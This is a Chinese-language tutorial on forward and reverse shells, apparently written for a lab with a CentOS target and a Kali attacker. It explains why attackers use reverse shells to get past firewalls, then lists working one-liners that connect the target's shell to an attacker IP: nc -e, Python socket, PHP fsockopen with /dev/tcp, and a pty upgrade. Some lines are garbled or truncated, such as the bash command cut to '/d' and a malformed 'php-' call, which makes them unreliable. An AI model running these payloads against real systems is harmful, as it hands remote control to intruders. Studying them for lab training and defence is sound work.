反弹攻击机开监听端口,靶机主动去连
正弹靶机开启端口,攻击机去主动去连
正向连接
正向shell:客户端(我)想要获得服务端的shell
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。
反向连接
反向shell:**受害者的
shell
(权限)弹到攻击机上
- 场景模拟
- 假设小黑是一名黑客
- 他悄咪咪溜进了知乎总部大楼,发现一台刘看山的电脑,但是刘看山出门了
- 小黑发现电脑里有一个有趣的文件(刘看山的秘密)
- 小黑下载这个文件到自己的U盘里,又悄咪咪的原路返航
- 回到家后,小黑打开这个文件
- 发现电脑被刘看山控制了~
- (这里小黑是客户端,刘看山是服务端,客户端发射shell)
那么为什么要用反弹shell呢?
反弹shell通常适用于如下几种情况:
•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。•..
对于以上几种情况,我们是无法利用正向连接的,要用反向连接。
那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。
反弹shell
命令
得到shell
一方(攻击机)只需要开启一个口子(监听端口),给shell
一方(靶机)主动去找我们这个口子(监听端口),找口子所填写的地址端口都是攻击机的
kali
开启监听端口,靶机主动连接后将shell
反弹给攻击机
CentOS7 192.168.43.186
kali 192.168.43.19
nc
攻击机开启监听5555端口,等待靶机主动连接并反弹shell
nc -lvp 5555
靶机连接攻击机并将shell
反弹过去 ,这样在攻击机上就可以执行靶机系统中命令
// 建立一个反向Shell连接,将远程主机的Shell连接到本地的/bin/bash程序
// Bash是一种命令行解释器,用户可以通过它执行各种命令 类似于windows的cmd
nc -e /bin/bash 192.168.43.19 5555 // 反弹到攻击机开启的5555端口上
bash
shell
攻击机开启监听7777
端口,等待靶机主动连接并反弹shell
nc -lvp 7777
靶机执行此命令,填写的IP
是攻击
// 将自身的bash面板(cmd)重定向到攻击机的7777端口上
/d
bash -i是创建一个交互的bash shell
/dev/tcp/是bach实现网络请求的一个接口,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
python
攻击机开启监听6666端口,等待靶机主动连接并反弹shell
nc -lvp 6666
靶机存在Python
环境输入此命令修改IP
端口即可
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.43.19',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);
php
攻击机开启监听4444端口,等待靶机主动连接并反弹shell
nc -lvp 4444
靶机输入此命令即可反弹,但是PHP
反弹需要php
关闭safe_mode
这个选项,才可以使用exec
函数
php- 'exec("/bin/bash -i >& /dev/tcp/192.168.43.19/4444")'
or
php -r '$sock=fsockopen("192.168.43.19",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
如成功反弹后shell
面板不是常规的调用此命令转化
python -c 'import pty;pty.spawn("/bin/bash")'